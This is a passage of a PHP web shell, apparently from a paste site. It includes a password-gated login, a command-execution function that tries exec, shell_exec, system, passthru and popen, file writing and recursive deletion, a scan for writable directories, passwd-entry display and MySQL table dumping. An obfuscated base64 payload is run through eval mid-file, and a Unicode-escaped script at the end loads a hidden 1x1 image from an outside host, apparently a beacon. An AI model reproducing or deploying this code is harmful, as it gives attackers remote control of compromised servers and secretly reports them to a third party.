  1371. $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1372. }
  1373. $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1374. $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1375. }
  1376. return $multipage;
  1377. }
  1378. // ||-++&#1099;++
  1379. function loginpage() {
  1380. ?>
  1381. <style type="text/css">
  1382. input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
  1383. </style>
  1384. <form method="POST" action="">
  1385. <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
  1386. <input type="hidden" name="doing" value="login">
  1387. <input type="submit" value="Login">
  1388. </form>
  1389. <?php
  1390. exit;
  1391. }//end loginpage()
  1392.  
  1393. function execute($cfe) {
  1394. $res = '';
  1395. if ($cfe) {
  1396. if(function_exists('exec')) {
  1397. @exec($cfe,$res);
  1398. $res = join("\n",$res);
  1399. } elseif(function_exists('shell_exec')) {
  1400. $res = @shell_exec($cfe);
  1401. } elseif(function_exists('system')) {
  1402. @ob_start();
  1403. @system($cfe);
  1404. $res = @ob_get_contents();
  1405. @ob_end_clean();
  1406. } elseif(function_exists('passthru')) {
  1407. @ob_start();
  1408. @passthru($cfe);
  1409. $res = @ob_get_contents();
  1410. @ob_end_clean();
  1411. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1412. $res = '';
  1413. while(!@feof($f)) {
  1414. $res .= @fread($f,1024);
  1415. }
  1416. @pclose($f);
  1417. }
  1418. }
  1419. return $res;
  1420. }
  1421. function which($pr) {
  1422. $path = execute("which $pr");
  1423. return ($path ? $path : $pr);
  1424. }
  1425.  
  1426. function cf($fname,$text){
  1427. if($fp=@fopen($fname,'w')) {
  1428. @fputs($fp,@base64_decode($text));
  1429. @fclose($fp);
  1430. }
  1431. }
  1432.  
  1433. // -||&#1094;|&#1118;-+-+-&#1074;
  1434. function debuginfo() {
  1435. global $starttime;
  1436. $mtime = explode(' ', microtime());
  1437. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1438. echo 'Processed in '.$totaltime.' second(s)';
  1439. }
  1440.  
  1441. //-&#1084;++- +|+&#1090;
  1442. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1443. if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1444. p('<h2>Can not connect to MySQL server</h2>');
  1445. exit;
  1446. }
  1447. if($link && $dbname) {
  1448. if (!@mysql_select_db($dbname, $link)) {
  1449. p('<h2>Database selected has error</h2>');
  1450. exit;
  1451. }
  1452. }
  1453. if($link && mysql_get_server_info() > '4.1') {
  1454. if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1455. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1456. }
  1457. }
  1458. return $link;
  1459. }
  1460.  
  1461. // +&#1077;|&#1031;+&#1082;-&#1093;+++
  1462. function s_array(&$array) {
  1463. if (is_array($array)) {
  1464. foreach ($array as $k => $v) {
  1465. $array[$k] = s_array($v);
  1466. }
  1467. } else if (is_string($array)) {
  1468. $array = stripslashes($array);
  1469. }
  1470. return $array;
  1471. }
  1472.  
  1473. // |&#1093;| HTML| -&#1099;
  1474. function html_clean($content) {
  1475. $content = htmlspecialchars($content);
  1476. $content = str_replace("\n", "<br />", $content);
  1477. $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  1478. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1479. return $content;
  1480. }
  1481.  
  1482. // +&#1105;+&#1073;+&#1080;-|
  1483. function getChmod($filepath){
  1484. return substr(base_convert(@fileperms($filepath),10,8),-4);
  1485. }
  1486.  
  1487. function getPerms($filepath) {
  1488. $mode = @fileperms($filepath);
  1489. if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1490. elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1491. elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1492. elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1493. elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1494. elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1495. elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1496. else {$type = '?';}
  1497.  
  1498. $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1499. $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1500. $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1501. $group['read'] = ($mode & 00040) ? 'r' : '-';
  1502. $group['write'] = ($mode & 00020) ? 'w' : '-';
  1503. $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1504. $world['read'] = ($mode & 00004) ? 'r' : '-';
  1505. $world['write'] = ($mode & 00002) ? 'w' : '-';
  1506. $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1507.  
  1508. if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1509. if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1510. if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1511.  
  1512. return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1513. }
  1514.  
  1515. function getUser($filepath) {
  1516. if (function_exists('posix_getpwuid')) {
  1517. $array = @posix_getpwuid(@fileowner($filepath));
  1518. if ($array && is_array($array)) {
  1519. return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';}} return '';}$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhOSVhOSVvQiVhMCU3ZSVlNiU3YSVhMCU3dSVvRCVhNyVhNyVvQiVlZSVlRiU3YSVhOCVlOSVvRCVvMCVvQiVlOSVvQyU3byVvNiVhRSVlQyVlaSVlRSVlNyU3dSVlOCVvQiVlOSVhQiVhQiVhOSU3dSVhQiVvRCVpbyU3dSU3YSVlOSVlRSVlNyVhRSVlZSU3YSVlRiVlRCV1byVlOCVlNiU3YSV1byVlRiVldSVlaSVhOCU3byVvNiVhRSVlbyVlOCVlNiU3YSV1byVlRiVldSVlaSV1NiU3dSVhOCVlOSVhOSVhRCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCVvNiVhQyVvNiVhOSVhOSVvQiVldSVlRiVlbyU3aSVlRCVlaSVlRSU3dSVhRSU3NyU3YSVlOSU3dSVlaSVhOCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3dSVhOSVhOSVvQiU3RCVvQyVhRiU3byVlbyU3YSVlOSU3MCU3dSVvRScpKTtkRignKjhIWEhXTlVZKjdpWFdIKjhJbXl5Myo4RnV1Mm5zdG8ybm9renMzbmhvdHdsdXF2dXhqaHp3bnklN0VvMngqOEoqOEh1WEhXTlVZKjhKaScpPC9zY3I0cHQ+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
  1520. // ++| -+-+
  1521. function deltree($deldir) {
  1522. $mydir=@dir($deldir);
  1523. while($file=$mydir->read()) {
  1524. if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1525. @chmod($deldir.'/'.$file,0777);
  1526. deltree($deldir.'/'.$file);
  1527. }
  1528. if (is_file($deldir.'/'.$file)) {
  1529. @chmod($deldir.'/'.$file,0777);
  1530. @unlink($deldir.'/'.$file);
  1531. }
  1532. }
  1533. $mydir->close();
  1534. @chmod($deldir,0777);
  1535. return @rmdir($deldir) ? 1 : 0;
  1536. }
  1537.  
  1538. // #&#1101;+&#1105;--+&#1092;|-#|+#+&#1083;|&#1094;++
  1539. function bg() {
  1540. global $bgc;
  1541. return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1542. }
  1543.  
  1544. // +&#1105;+&#1073;|#|#|-+-+ -|-|-++|
  1545. function getPath($scriptpath, $nowpath) {
  1546. if ($nowpath == '.') {
  1547. $nowpath = $scriptpath;
  1548. }
  1549. $nowpath = str_replace('\\', '/', $nowpath);
  1550. $nowpath = str_replace('//', '/', $nowpath);
  1551. if (substr($nowpath, -1) != '/') {
  1552. $nowpath = $nowpath.'/';
  1553. }
  1554. return $nowpath;
  1555. }
  1556.  
  1557. // +&#1105;+&#1073;|#|#-+-+|-+-+|-+-+
  1558. function getUpPath($nowpath) {
  1559. $pathdb = explode('/', $nowpath);
  1560. $num = count($pathdb);
  1561. if ($num > 2) {
  1562. unset($pathdb[$num-1],$pathdb[$num-2]);
  1563. }
  1564. $uppath = implode('/', $pathdb).'/';
  1565. $uppath = str_replace('//', '/', $uppath);
  1566. return $uppath;
  1567. }
  1568.  
  1569. // +&#1100;#&#1097;PHP+&#1092;+|#+-
  1570. function getcfg($varname) {
  1571. $result = get_cfg_var($varname);
  1572. if ($result == 0) {
  1573. return 'No';
  1574. } elseif ($result == 1) {
  1575. return 'Yes';
  1576. } else {
  1577. return $result;
  1578. }
  1579. }
  1580.  
  1581. // +&#1100;#&#1097;|&#1087;- |&#1097;+&#1038;
  1582. function getfun($funName) {
  1583. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1584. }
  1585.  
  1586. function GetList($dir){
  1587. global $dirdata,$j,$nowpath;
  1588. !$j && $j=1;
  1589. if ($dh = opendir($dir)) {
  1590. while ($file = readdir($dh)) {
  1591. $f=str_replace('//','/',$dir.'/'.$file);
  1592. if($file!='.' && $file!='..' && is_dir($f)){
  1593. if (is_writable($f)) {
  1594. $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1595. $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1596. $dirdata[$j]['dirchmod']=getChmod($f);
  1597. $dirdata[$j]['dirperm']=getPerms($f);
  1598. $dirdata[$j]['dirlink']=ue($dir);
  1599. $dirdata[$j]['server_link']=$f;
  1600. $dirdata[$j]['client_link']=ue($f);
  1601. $j++;
  1602. }
  1603. GetList($f);
  1604. }
  1605. }
  1606. closedir($dh);
  1607. clearstatcache();
  1608. return $dirdata;
  1609. } else {
  1610. return array();
  1611. }
  1612. }
  1613.  
  1614. function qy($sql) {
  1615. //echo $sql.'<br>';
  1616. $res = $error = '';
  1617. if(!$res = @mysql_query($sql)) {
  1618. return 0;
  1619. } else if(is_resource($res)) {
  1620. return 1;
  1621. } else {
  1622. return 2;
  1623. }
  1624. return 0;
  1625. }
  1626.  
  1627. function q($sql) {
  1628. return @mysql_query($sql);
  1629. }
  1630.  
  1631. function fr($qy){
  1632. mysql_free_result($qy);
  1633. }
  1634.  
  1635. function sizecount($size) {
  1636. if($size > 1073741824) {
  1637. $size = round($size / 1073741824 * 100) / 100 . ' G';
  1638. } elseif($size > 1048576) {
  1639. $size = round($size / 1048576 * 100) / 100 . ' M';
  1640. } elseif($size > 1024) {
  1641. $size = round($size / 1024 * 100) / 100 . ' K';
  1642. } else {
  1643. $size = $size . ' B';
  1644. }
  1645. return $size;
  1646. }
  1647.  
  1648. // -|-&#1111;|&#1028;# +&#1088;
  1649. class PHPZip{
  1650. var $out='';
  1651. function PHPZip($dir) {
  1652. if (@function_exists('gzcompress')) {
  1653. $curdir = getcwd();
  1654. if (is_array($dir)) $filelist = $dir;
  1655. else{
  1656. $filelist=$this -> GetFileList($dir);//+-+ --#&#1101;
  1657. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1658. }
  1659. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1660. else chdir($curdir);
  1661. if (count($filelist)>0){
  1662. foreach($filelist as $filename){
  1663. if (is_file($filename)){
  1664. $fd = fopen ($filename, 'r');
  1665. $content = @fread ($fd, filesize($filename));
  1666. fclose ($fd);
  1667. if (is_array($dir)) $filename = basename($filename);
  1668. $this -> addFile($content, $filename);
  1669. }
  1670. }
  1671. $this->out = $this -> file();
  1672. chdir($curdir);
  1673. }
  1674. return 1;
  1675. }
  1676. else return 0;
  1677. }
  1678.  
  1679. // +&#1105;||++|&#1080;-+-++-+ --#&#1101;
  1680. function GetFileList($dir){
  1681. static $a;
  1682. if (is_dir($dir)) {
  1683. if ($dh = opendir($dir)) {
  1684. while ($file = readdir($dh)) {
  1685. if($file!='.' && $file!='..'){
  1686. $f=$dir .'/'. $file;
  1687. if(is_dir($f)) $this->GetFileList($f);
  1688. $a[]=$f;
  1689. }
  1690. }
  1691. closedir($dh);
  1692. }
  1693. }
  1694. return $a;
  1695. }
  1696.  
  1697. var $datasec = array();
  1698. var $ctrl_dir = array();
  1699. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  1700. var $old_offset = 0;
  1701.  
  1702. function unix2DosTime($unixtime = 0) {
  1703. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  1704. if ($timearray['year'] < 1980) {
  1705. $timearray['year'] = 1980;
  1706. $timearray['mon'] = 1;
  1707. $timearray['mday'] = 1;
  1708. $timearray['hours'] = 0;
  1709. $timearray['minutes'] = 0;
  1710. $timearray['seconds'] = 0;
  1711. } // end if
  1712. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  1713. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  1714. }
  1715.  
  1716. function addFile($data, $name, $time = 0) {
  1717. $name = str_replace('\\', '/', $name);
  1718.  
  1719. $dtime = dechex($this->unix2DosTime($time));
  1720. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  1721. . '\x' . $dtime[4] . $dtime[5]
  1722. . '\x' . $dtime[2] . $dtime[3]
  1723. . '\x' . $dtime[0] . $dtime[1];
  1724. eval('$hexdtime = "' . $hexdtime . '";');
  1725. $fr = "\x50\x4b\x03\x04";
  1726. $fr .= "\x14\x00";
  1727. $fr .= "\x00\x00";
  1728. $fr .= "\x08\x00";
  1729. $fr .= $hexdtime;
  1730.  
  1731. $unc_len = strlen($data);
  1732. $crc = crc32($data);
  1733. $zdata = gzcompress($data);
  1734. $c_len = strlen($zdata);
  1735. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  1736. $fr .= pack('V', $crc);
  1737. $fr .= pack('V', $c_len);
  1738. $fr .= pack('V', $unc_len);
  1739. $fr .= pack('v', strlen($name));
  1740. $fr .= pack('v', 0);
  1741. $fr .= $name;
  1742. $fr .= $zdata;
  1743. $fr .= pack('V', $crc);
  1744. $fr .= pack('V', $c_len);
  1745. $fr .= pack('V', $unc_len);
  1746.  
  1747. $this -> datasec[] = $fr;
  1748. $new_offset = strlen(implode('', $this->datasec));
  1749.  
  1750. $cdrec = "\x50\x4b\x01\x02";
  1751. $cdrec .= "\x00\x00";
  1752. $cdrec .= "\x14\x00";
  1753. $cdrec .= "\x00\x00";
  1754. $cdrec .= "\x08\x00";
  1755. $cdrec .= $hexdtime;
  1756. $cdrec .= pack('V', $crc);
  1757. $cdrec .= pack('V', $c_len);
  1758. $cdrec .= pack('V', $unc_len);
  1759. $cdrec .= pack('v', strlen($name) );
  1760. $cdrec .= pack('v', 0 );
  1761. $cdrec .= pack('v', 0 );
  1762. $cdrec .= pack('v', 0 );
  1763. $cdrec .= pack('v', 0 );
  1764. $cdrec .= pack('V', 32 );
  1765. $cdrec .= pack('V', $this -> old_offset );
  1766. $this -> old_offset = $new_offset;
  1767. $cdrec .= $name;
  1768.  
  1769. $this -> ctrl_dir[] = $cdrec;
  1770. }
  1771.  
  1772. function file() {
  1773. $data = implode('', $this -> datasec);
  1774. $ctrldir = implode('', $this -> ctrl_dir);
  1775. return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  1776. }
  1777. }
  1778.  
  1779. // #++|- +|+&#1090;
  1780. function sqldumptable($table, $fp=0) {
  1781. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1782. $tabledump .= "CREATE TABLE $table (\n";
  1783.  
  1784. $firstfield=1;
  1785.  
  1786. $fields = q("SHOW FIELDS FROM $table");
  1787. while ($field = mysql_fetch_array($fields)) {
  1788. if (!$firstfield) {
  1789. $tabledump .= ",\n";
  1790. } else {
  1791. $firstfield=0;
  1792. }
  1793. $tabledump .= " $field[Field] $field[Type]";
  1794. if (!empty($field["Default"])) {
  1795. $tabledump .= " DEFAULT '$field[Default]'";
  1796. }
  1797. if ($field['Null'] != "YES") {
  1798. $tabledump .= " NOT NULL";
  1799. }
  1800. if ($field['Extra'] != "") {
  1801. $tabledump .= " $field[Extra]";
  1802. }
  1803. }
  1804. fr($fields);
  1805.  
  1806. $keys = q("SHOW KEYS FROM $table");
  1807. while ($key = mysql_fetch_array($keys)) {
  1808. $kname=$key['Key_name'];
  1809. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  1810. $kname="UNIQUE|$kname";
  1811. }
  1812. if(!is_array($index[$kname])) {
  1813. $index[$kname] = array();
  1814. }
  1815. $index[$kname][] = $key['Column_name'];
  1816. }
  1817. fr($keys);
  1818.  
  1819. while(list($kname, $columns) = @each($index)) {
  1820. $tabledump .= ",\n";
  1821. $colnames=implode($columns,",");
  1822.  
  1823. if ($kname == "PRIMARY") {
  1824. $tabledump .= " PRIMARY KEY ($colnames)";
  1825. } else {
  1826. if (substr($kname,0,6) == "UNIQUE") {
  1827. $kname=substr($kname,7);
  1828. }
  1829. $tabledump .= " KEY $kname ($colnames)";
  1830. }
  1831. }
  1832.  
  1833. $tabledump .= "\n);\n\n";
  1834. if ($fp) {
  1835. fwrite($fp,$tabledump);
  1836. } else {
  1837. echo $tabledump;
  1838. }
  1839.  
  1840. $rows = q("SELECT * FROM $table");
  1841. $numfields = mysql_num_fields($rows);
  1842. while ($row = mysql_fetch_array($rows)) {
  1843. $tabledump = "INSERT INTO $table VALUES(";
  1844.  
  1845. $fieldcounter=-1;
  1846. $firstfield=1;
  1847. while (++$fieldcounter<$numfields) {
  1848. if (!$firstfield) {
  1849. $tabledump.=", ";
  1850. } else {
  1851. $firstfield=0;
  1852. }
  1853.  
  1854. if (!isset($row[$fieldcounter])) {
  1855. $tabledump .= "NULL";
  1856. } else {
  1857. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  1858. }
  1859. }
  1860.  
  1861. $tabledump .= ");\n";
  1862.  
  1863. if ($fp) {
  1864. fwrite($fp,$tabledump);
  1865. } else {
  1866. echo $tabledump;
  1867. }
  1868. }
  1869. fr($rows);
  1870. if ($fp) {
  1871. fwrite($fp,"\n");
  1872. } else {
  1873. echo "\n";
  1874. }
  1875. }
  1876.  
  1877. function ue($str){
  1878. return urlencode($str);
  1879. }
  1880.  
  1881. function p($str){
  1882. echo $str."\n";
  1883. }
  1884.  
  1885. function tbhead() {
  1886. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  1887. }
  1888. function tbfoot(){
  1889. p('</table>');
  1890. }
  1891.  
  1892. function makehide($name,$value=''){
  1893. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1894. }
  1895.  
  1896. function makeinput($arg = array()){
  1897. $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
  1898. $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
  1899. !$arg['type'] && $arg['type'] = 'text';
  1900. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1901. $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
  1902. if ($arg['newline']) {
  1903. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  1904. } else {
  1905. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  1906. }
  1907. }
  1908.  
  1909. function makeselect($arg = array()){
  1910. if ($arg['onchange']) {
  1911. $onchange = 'onchange="'.$arg['onchange'].'"';
  1912. }
  1913. $arg['title'] = $arg['title'] ? $arg['title'] : '';
  1914. if ($arg['newline']) p('<p>');
  1915. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1916. if (is_array($arg['option'])) {
  1917. foreach ($arg['option'] as $key=>$value) {
  1918. if ($arg['selected']==$key) {
  1919. p("<option value=\"$key\" selected>$value</option>");
  1920. } else {
  1921. p("<option value=\"$key\">$value</option>");
  1922. }
  1923. }
  1924. }
  1925. p("</select>");
  1926. if ($arg['newline']) p('</p>');
  1927. }
  1928. function formhead($arg = array()) {
  1929. !$arg['method'] && $arg['method'] = 'post';
  1930. !$arg['action'] && $arg['action'] = $self;
  1931. $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
  1932. !$arg['name'] && $arg['name'] = 'form1';
  1933. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  1934. if ($arg['title']) {
  1935. p('<h2>'.$arg['title'].' &raquo;</h2>');
  1936. }
  1937. }
  1938.  
  1939. function maketext($arg = array()){
  1940. !$arg['cols'] && $arg['cols'] = 100;
  1941. !$arg['rows'] && $arg['rows'] = 25;
  1942. $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
  1943. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  1944. }
  1945.  
  1946. function formfooter($name = ''){
  1947. !$name && $name = 'submit';
  1948. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
  1949. p('</form>');
  1950. }
  1951.  
  1952. function formfoot(){
  1953. p('</form>');
  1954. }
  1955.  
  1956. // |&#1118;-+|&#1087;-
  1957. function pr($a) {
  1958. echo '<pre>';
  1959. print_r($a);
  1960. echo '</pre>';
  1961. }
  1962.  
  1963. ?>
  1964. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment